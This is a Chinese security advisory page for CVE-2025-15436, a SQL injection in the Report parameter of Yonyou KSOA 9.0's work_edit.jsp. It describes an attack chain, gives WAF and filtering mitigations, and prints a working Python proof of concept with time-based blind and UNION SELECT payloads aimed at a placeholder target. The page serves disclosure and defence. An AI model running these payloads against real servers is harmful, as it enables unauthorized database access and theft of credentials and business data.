IPBUF安全漏洞报告
English
CVE-2025-15436 CVSS 7.3 高危

CVE-2025-15436 用友KSOA 9.0 work_edit.jsp SQL注入漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-15436
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Yonyou KSOA 9.0

相关标签

SQL注入用友KSOACVE-2025-15436JSP高危漏洞远程攻击无需认证

漏洞概述

CVE-2025-15436是存在于用友KSOA 9.0版本中的一个高危SQL注入漏洞。该漏洞位于/worksheet/work_edit.jsp文件中的Report参数处,攻击者可通过构造恶意SQL语句实现对数据库的未授权访问和操作。由于CVSS评分达到7.3分(高危),且攻击向量为网络层面,无需任何认证即可发起攻击,因此该漏洞具有极高的实际威胁性。漏洞披露信息显示,相关利用代码已在公开渠道传播,厂商用友虽被提前通知但未做出任何回应。攻击者可能利用此漏洞获取数据库中的敏感信息,包括用户凭证、业务数据等,严重威胁企业信息资产安全。鉴于该漏洞已被公开利用的记录,建议受影响的用户立即采取防护措施。

技术细节

该SQL注入漏洞存在于用友KSOA 9.0的/worksheet/work_edit.jsp页面中,具体问题出在对Report参数的过滤不严。当用户提交包含恶意SQL语句的Report参数时,后端数据库查询未进行充分的输入验证和参数化查询处理,导致攻击者可以注入任意SQL命令。通过UNION SELECT、布尔盲注或时间盲注等技术,攻击者能够:1)枚举数据库结构和表名;2)提取敏感用户数据如管理员账户和密码哈希;3)修改或删除数据库记录;4)在某些配置下可能实现操作系统命令执行。由于该接口无需认证即可访问(PR:N),任何能够访问目标服务器HTTP端口的攻击者都可以发起攻击。攻击可通过HTTP GET或POST请求实现,配合自动化工具可快速完成漏洞利用和数据窃取。

攻击链分析

STEP 1
步骤1
信息收集:识别目标服务器运行用友KSOA 9.0,定位到/worksheet/work_edit.jsp端点
STEP 2
步骤2
漏洞探测:向Report参数发送测试载荷,验证SQL注入是否存在
STEP 3
步骤3
注入利用:使用UNION SELECT、布尔盲注或时间盲注技术提取数据库结构信息
STEP 4
步骤4
数据窃取:枚举数据库表,获取用户账户、密码哈希及其他敏感业务数据
STEP 5
步骤5
权限提升/持久化:根据获取的凭证尝试登录管理后台或进一步渗透内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15436 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /worksheet/work_edit.jsp # Parameter: Report target_url = "http://target.com/worksheet/work_edit.jsp" # Blind SQL Injection - Check if vulnerability exists def check_vulnerability(): # Normal request normal_params = {"Report": "1"} # Payload with time-based blind injection # Using conditional time delay to confirm SQL injection payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" inject_params = {"Report": payload} try: print("[*] Sending normal request...") normal_resp = requests.get(target_url, params=normal_params, timeout=10) print("[*] Sending malicious payload...") inject_resp = requests.get(target_url, params=inject_params, timeout=15) if inject_resp.elapsed.total_seconds() > 4: print("[+] SQL Injection vulnerability confirmed!") return True else: print("[-] Vulnerability check failed or target not vulnerable") return False except Exception as e: print(f"[-] Error: {str(e)}") return False # Database enumeration payload def extract_database(): # UNION-based injection to extract database name payload = "1' UNION SELECT NULL,database(),user(),version()-- -" params = {"Report": payload} try: resp = requests.get(target_url, params=params, timeout=10) print(f"[*] Response status: {resp.status_code}") # Parse response to extract database info if resp.text: print(f"[*] Response preview: {resp.text[:500]}") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": print("CVE-2025-15436 SQL Injection PoC") print("Target: Yonyou KSOA 9.0") print("=" * 50) if check_vulnerability(): print("\n[*] Attempting database enumeration...") extract_database()

影响范围

Yonyou KSOA 9.0

防御指南

临时缓解措施
由于厂商尚未发布官方补丁,建议立即采取以下临时措施:1)通过Web应用防火墙规则暂时禁用/worksheet/work_edit.jsp页面或拦截包含SQL特殊字符的请求;2)在反向代理层实施输入过滤,阻止Report参数中的单引号、UNION、SELECT等SQL关键词;3)如果该功能非业务必需,可临时关闭该接口的外部访问;4)加强对应用日志的监控,及时发现异常SQL注入行为;5)联系用友官方获取安全支持,催促发布修复补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表